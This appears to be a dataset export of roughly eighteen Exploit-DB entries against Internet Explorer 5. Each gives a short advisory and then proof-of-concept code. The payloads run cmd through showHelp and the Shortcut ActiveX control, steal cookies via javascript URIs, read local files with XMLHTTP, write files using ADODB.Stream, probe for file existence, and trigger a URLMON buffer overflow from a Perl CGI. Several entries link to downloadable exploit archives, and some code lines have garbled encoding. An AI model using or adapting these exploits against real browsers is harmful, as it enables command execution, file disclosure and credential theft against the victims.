deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21883
Description: Microsoft Internet Explorer 5 - Document Reference Zone Bypass
Type: remote
Platform: windows
Date: 2002-10-01
Author: Liu Die Yu

Exploit:
source: https://www.securityfocus.com/bid/5841/info

A vulnerability has been reported in Microsoft Internet Explorer that may allow for remote attackers to execute script code in the context of other domains/security Zones. The cause appears to be a lack of access control checks when access to a document object is attempted through a saved reference to it. Exploitation of this vulnerability may allow for theft of cookie information, website impersonation or disclosure of local files.

It may also be possible to execute local programs with parameters through this vulnerability. Note that this may also be possible for attackers to do this with other, similar vulnerabilities that permit cross-zone scripting. See References and Exploits sections for details and proof of concept demonstration 

<script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, sandblad@acc.umu.se
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';

if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>

The following proof of concept was made available by Gert Fokkema <gert@why4.com>:

<HTML>
<BODY>
<script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, sandblad@acc.umu.se
prog = 'cmd';
args = '/k net send * ..HELP..MY..COMPUTER..IS..HACKED..';

if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>
</BODY>
</HTML>
Exploit-DB #21777
Description: Microsoft Internet Explorer 5 - IFrame/Frame Cross-Site/Zone Script Execution
Type: remote
Platform: windows
Date: 2002-09-09
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/5672/info

When a Microsoft Internet Explorer (MSIE) window opens another window, security checks should prevent the parent from accessing the child if the latter is of another domain or Security Zone. It has been reported that such checks fails to occur against attempts to access the frames of child window documents. It is possible for a parent window to set the URL of frames or iframes within a child window regardless of the domain or Security Zone. This has serious security implications as the parent can cause script code to be executed within the context of the child domain by setting the URL to the "javascript" protocol, followed by the desired code. Attackers may also execute script code within the "My Computer" Zone. This may have more severe consequences. 

<script language="jscript">
onload=function () {
횂 횂 횂 횂 var
oVictim=open("http://groups.google.com/groups?threadm=anews.Aunc.850","OurVi
ctim","width=100,height=100");
횂 횂 횂 횂 setTimeout(
횂 횂 횂 횂 횂 횂 횂 횂 function () {
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 oVictim.frames[0].location.href="javascript:alert(document.cooki
e)";
횂 횂 횂 횂 횂 횂 횂 횂 },
횂 횂 횂 횂 횂 횂 횂 횂 7000
횂 횂 횂 횂 );
}
</script>
Exploit-DB #21198
Description: Microsoft Internet Explorer 5 - JavaScript Local File Enumeration (1)
Type: remote
Platform: windows
Date: 2002-01-03
Author: Tom Micklovitch

Exploit:
source: https://www.securityfocus.com/bid/3779/info

Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.

When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'. 

<html>
<head>
<script language="javascript">
<!--
var fileExists = false;
function yes()
{
alert("the file exists.");
yes = true;
}

function no()
{
if(!fileExists)
{
alert("the file does not exist.");
}
}

window.onerror = yes
window.onload = no
//-->
</script>
<script language="javascript"
src="file://c:\autoexec.bat"></script>
</head>
</html>
Exploit-DB #21199
Description: Microsoft Internet Explorer 5 - JavaScript Local File Enumeration (2)
Type: remote
Platform: windows
Date: 2002-01-03
Author: Liu Die

Exploit:
source: https://www.securityfocus.com/bid/3779/info
 
Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.
 
When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip
Exploit-DB #23643
Description: Microsoft Internet Explorer 5 - NavigateAndFind() Cross-Zone Policy (MS04-004)
Type: remote
Platform: windows
Date: 2004-02-03
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/9568/info

A vulnerability has been reported in Microsoft Internet Explorer. Because of this, an attacker may be able to violate cross-zone policy.

It has been reported that the issue presents itself due to a failure by Internet Explorer to remove JavaScript URIs from the browser history list in some circumstances. A JavaScript specific JavaScript URI, can be embedded in the Browser history list and further employed by an attacker to have JavaScript code executed in the context of the Local Machine security zone.

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}

// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();
Exploit-DB #22726
Description: Microsoft Internet Explorer 5 - OBJECT Tag Buffer Overflow
Type: remote
Platform: windows
Date: 2003-06-04
Author: FelineMenace

Exploit:
source: https://www.securityfocus.com/bid/7806/info

Microsoft Internet Explorer is prone to a boundary condition error when handling OBJECT tags in web pages. When a web page containing an OBJECT tag using a parameter containing excessive data is encountered by a vulnerable client, a internal memory buffer will be overrun. This could cause Internet Explorer to fail or potentially result in the execution arbitrary code in the security context of the current user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22726.tar
Exploit-DB #22530
Description: Microsoft Internet Explorer 5 - Remote 'URLMON.dll' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2003-04-23
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/7419/info

A vulnerability has been discovered in Microsoft Internet Explorer. Due to insufficient bounds checking performed by URLMON.DLL it may be possible for a malicious web server to trigger a buffer overflow. This could result in the execution of arbitrary code within the context of the client user. 

#!/usr/bin/perl 
# 
# Name this file as "urlmon-bo.cgi" 
$LONG="A"x300; 
print "Content-type: $LONG\r\n"; 
print "Content-encoding: $LONG\r\n"; 
print "\r\n"; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8- -
Exploit-DB #23678
Description: Microsoft Internet Explorer 5 - Shell: IFrame Cross-Zone Scripting (1)
Type: remote
Platform: windows
Date: 2004-02-10
Author: Cheng Peng Su

Exploit:
source: https://www.securityfocus.com/bid/9628/info

It has been alleged that Microsoft Internet Explorer is prone to a weakness that may potentially allow for the execution of hostile script code in the context of the My Computer Zone. This issue is related to how shell: URIs are handled by the browser. It should also be noted that shell: URIs may be used to reference local content in the same manner as file:// URIs.

Update: Although unconfirmed, further reports indicate that MSN messenger version 6.2.0137, Microsoft Word, Outlook 2003, and Outlook Express may also potentially provide exploitation vectors for this vulnerability.

<html>
<head>
</head>
<body onload=setTimeout("exploit()",4*100);>
<iframe id="Target" width="0" height="0"
src="shell:profile\Desktop.ini" name="Target" scrolling="yes">
</iframe>
<SCRIPT language=JavaScript>
function exploit(){
loc=new String(Target.location);
var len=loc.length
var n=loc.indexOf("Settings")+9;
var m=loc.indexOf("System32");
preuser=new String(loc.substring(n,len));
p=preuser.indexOf("\\");
user=new String(preuser.substring(0,p));
winloc=new String(loc.substring(6,m));
q=winloc.indexOf("\\");
rootdrive=new String(winloc.substring(0,q+1));
targetwin=window.open("");
targetwin.document.write("<b>Username :</b> "+user+"<br>");
targetwin.document.write("<b>root drive :</b> "+rootdrive+"<br>")
targetwin.document.write("<b>location of windows folder :</b>
"+winloc+"<br>")
targetwin.document.write("<b>location of user profile
:</b>"+rootdrive+"Documents and Settings\\"+user+"\\");
targetwin.document.write("<br><br><b>Wallpaper :</b><br><br><img
border=0 src='"+rootdrive+"Documents and Settings\\"+user+"\\Local
Settings\\Application Data\\Microsoft\\Wallpaper1.bmp' width=30%
height=30%>")
targetwin.document.write("<br><br><b>internet explorer wallpaper
:</b><br><br><img border=0 src='"+rootdrive+"Documents and
Settings\\"+user+"\\Application Data\\Microsoft\\Internet
Explorer\\Internet Explorer Wallpaper.bmp' width=30%
height=30%><br><br>")
}
</SCRIPT>
</body>
</html>
Exploit-DB #22226
Description: Microsoft Internet Explorer 5 - ShowHelp Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2003-02-05
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/6780/info

Microsoft Internet Explorer implements the showHelp() function as a means of displaying help content contained in HTML pages. However, this function is capable of performing too many other actions outside of its intended functionality through pluggable protocols. These actions could include reading files and executing commands on the vulnerable system.

Exploit 1:

// Sandblad advisory #11 - Read your google cookie
showHelp("file:");showHelp("http://www.google.com/");
showHelp("javascript:alert(document.cookie)");

Exploit 2:

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("res://shdoclc.dll/about.dlg");
showHelp("javascript:try{c=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){c=new ActiveXObject('Microsoft.XMLHTTP')};c.open('GET','file://c:/test.txt',false);c.send(null);alert(c.responseText)");

Exploit 3:

// Sandblad advisory #11 - Read the file c:\test.txt
showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");

Exploit 4:

// Sandblad advisory #11 - Run the very nice game Winmine
showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
showHelp("javascript:document.write('<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param name=Command value=ShortCut\\u003E\<param name=Item1 value=,winmine,\\u003E</object\\u003E');c.Click();");
Exploit-DB #23790
Description: Microsoft Internet Explorer 5 - window.open Search Pane Cross-Zone Scripting
Type: remote
Platform: windows
Date: 2003-09-10
Author: Liu Die Yu

Exploit:
source: https://www.securityfocus.com/bid/9798/info

A vulnerability has been reported in Microsoft Internet Explorer that could enable unauthorized access by malicious scripts and Active Content to document properties across different Security Zones and foreign domains. This issue is exposed when search panes are opened via the window.open method. It is possible for malicious script code to access the properties of a foreign domain opened within the search pane.

---------------------------CrossZone.htm---------------------------
&lt;script&gt;
window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page
// cause it's in My Computer Zone.
setTimeout(function(){

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_search');

},5000);

&lt;/script&gt;
-------------------------------End---------------------------------

---------------------------CrossSite.htm---------------------------
&lt;script&gt;

window.open("http://www.google.com/","_search")
setTimeout(function(){
window.open("file:javascript:alert(document.cookie);","_search")
},5000);

&lt;/script&gt;
-------------------------------End---------------------------------
Exploit-DB #23122
Description: Microsoft Internet Explorer 5 - XML Page Object Type Validation (MS03-040)
Type: remote
Platform: windows
Date: 2003-09-08
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/8565/info

Internet Explorer does not properly handle object types, when rendering XML based web sites. This may result in the possibility of the execution of malicious software.

The problem occurs when Internet Explorer receives a response from the server when a malicious XML web page containing an embedded object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be installed and executed on the local system.

The Mindwarper exploit is actually reported to exploit one of the issues in BID 8577, which has not been addressed by the patches provided in MS03-040. 

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec"> <security> <exploit> <![CDATA[ <object id="oFile" data="badnews.php"></object> ]]&gt; </exploit> </security> </xml>
Exploit-DB #21118
Description: Microsoft Internet Explorer 5 - Zone Spoofing (MS01-055)
Type: remote
Platform: windows
Date: 2001-10-10
Author: kikkert security

Exploit:
source: https://www.securityfocus.com/bid/3420/info

Microsoft Internet Explorer contains a security-setting feature that can be modified according to a user's preferences. These settings control what actions a web site can take on a user's system.

A vulnerability exists in Internet Explorer, which could allow a web site to be viewed in the Local Intranet Zone, rather than the Internet Zone. Thus, allowing content to be viewed with less-restrictive security settings.

Converting the IP address of the target web site into a dotless IP address, and submitting it, will cause Internet Explorer to view the web site in the Local Intranet zone.

* Microsoft Security Bulletin MS01-055 states that there is a new variant of this issue, although no technical details have been provided. A cumulative patch has been released and IE 5.5 users are encouraged to install it. 

Example:

An option in a basic authenticated site is to pass on a username (and/or
password) in the URL like this:

http://mike@msdn.microsoft.com

Another possibility is to convert an IP address into a dotless IP address;
such an address is also called a DWORD address (some proxy servers, routers
or web servers do not allow this).

http://msdn.microsoft.com - IP: 207.46.239.122

Convert this IP address to a DWORD address:

207 * 16777216 =[PII_REDACTED]
46 * 65536 = 3014656
239 * 256 = 61184
122 * 1 = 122
------------------------------------------------ +
=[PII_REDACTED]

This DWORD address can be used to visit the site like:

http://[PII_REDACTED]
If we combine the URL login option with the DWORD IP address we'll get the
following URL:

http://mike@[PII_REDACTED]

The browser still thinks we are in the internet zone as expected.

Now we change the @ sign to its ASCII equivalent (%40):


------------------------
http://mike%[PII_REDACTED]74
------------------------
Exploit-DB #24116
Description: Microsoft Internet Explorer 5 / Firefox 0.8 / OmniWeb 4.x - URI Protocol Handler Arbitrary File Creation/Modification
Type: remote
Platform: windows
Date: 2004-05-13
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/10336/info

A vulnerability has been identified in multiple products from multiple vendors that may allow a remote attacker to create or modify arbitrary files; these issues relate to the processing of URI requests via various protocol handlers including telnet, rlogin, ssh and mailto.

The vulnerability presents itself because applications fail to validate URI input; if a '-' character precedes the host name it is possible to pass options to an application that handles the protocol. 

Successful exploitation of this issue may allow a remote attacker to create or modify arbitrary files, resulting in a denial of service condition in the browser. The attack would occur in the context of the user running the vulnerable browser.

telnet://-fFileName
telnet://-nFilename
Exploit-DB #19618
Description: Microsoft Internet Explorer 5 Media Player - ActiveX Error Message
Type: remote
Platform: windows
Date: 1999-11-14
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 Media Player ActiveX Error Message Vulnerability

source: https://www.securityfocus.com/bid/793/info

The Windows Media Player ActiveX control, shipped with IE 5, returns a specific error code if it is instructed to load a local file that does not exist. In this way, an attacker could determine whether or not a specified file on the victim's host exists. This could be used to determine user names and other facets of system configuration.

Demonstration code:
<object id="wm" WIDTH=0 HEIGHT=0
classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"
>
</object>
<SCRIPT>
// [PII_REDACTED]
function checkfile()
{
b=document.all.wm;
b.FileName=document.forms[0].elements[0].value;
if (b.ErrorCode == [PII_REDACTED])
alert("File does not exist")
else
alert("File exists");
}
</SCRIPT>
<FORM>
<INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60>
<INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()">
</FORM>
Exploit-DB #33270
Description: Microsoft Internet Explorer 5.0.1 - 'deflate' HTTP Content Encoding Remote Code Execution
Type: remote
Platform: windows
Date: 2009-10-13
Author: Skylined

Exploit:
source: https://www.securityfocus.com/bid/36622/info

Microsoft Internet Explorer is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer. Failed attacks may cause denial-of-service conditions. 

HTTP/.\nContent-Encoding:deflate\r\t\n\r\n\x20\x20

HTTP \nContent-Encoding:deflate\nContent-Range:\n\n”
Exploit-DB #30490
Description: Microsoft Internet Explorer 5.0.1 - 'TBLinf32.dll' ActiveX Control Remote Code Execution
Type: remote
Platform: windows
Date: 2007-05-08
Author: Brett Moore

Exploit:
source: https://www.securityfocus.com/bid/25289/info

The Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX control is prone to a remote code-execution vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions. 

<object width=1000 height=20 classid="CLSID:<CLASSID>"
name=test></object>
x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")
' Call the remote DLLGetDocumentation function
alert(x.Interfaces.Item(a).Members.Item(b).HelpString)
Exploit-DB #30622
Description: Microsoft Internet Explorer 5.0.1 - Arbitrary File Upload
Type: remote
Platform: windows
Date: 2007-09-27
Author: Ronald van den Heetkamp

Exploit:
source: https://www.securityfocus.com/bid/25836/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability that allows attackers to gain access to the contents of arbitrary files.

This issue stems from a design error resulting from the improper handling of form fields.

This issue is similar to the one described in BID 24725 (Mozilla Firefox OnKeyDown Event File Upload Vulnerability). 

# based upon Hong's exploit:
# http://sla.ckers.org/forum/read.php?3,13142

<script>

function Clear() {
     document.getElementById("label1").htmlFor="file1";
     document.getElementById("text1").focus();
}

function Down() {
     document.getElementById("file1").focus();
}

</script>

<input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" />
<label id="label1" name="label1"></label>
<br />
<textarea name="text1" id="text1" onkeydown="Down()">
&lt;/textarea&gt;
Exploit-DB #33024
Description: Microsoft Internet Explorer 5.0.1 - Cached Content Cross Domain Information Disclosure
Type: remote
Platform: windows
Date: 2009-06-09
Author: Jorge Luis Alvarez Medina

Exploit:
source: https://www.securityfocus.com/bid/35200/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to properly enforce the same-origin policy.

An attacker can exploit this issue to access local files or content from a browser window in another domain or security zone. This may allow the attacker to obtain sensitive information or may aid in further attacks.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33024.zip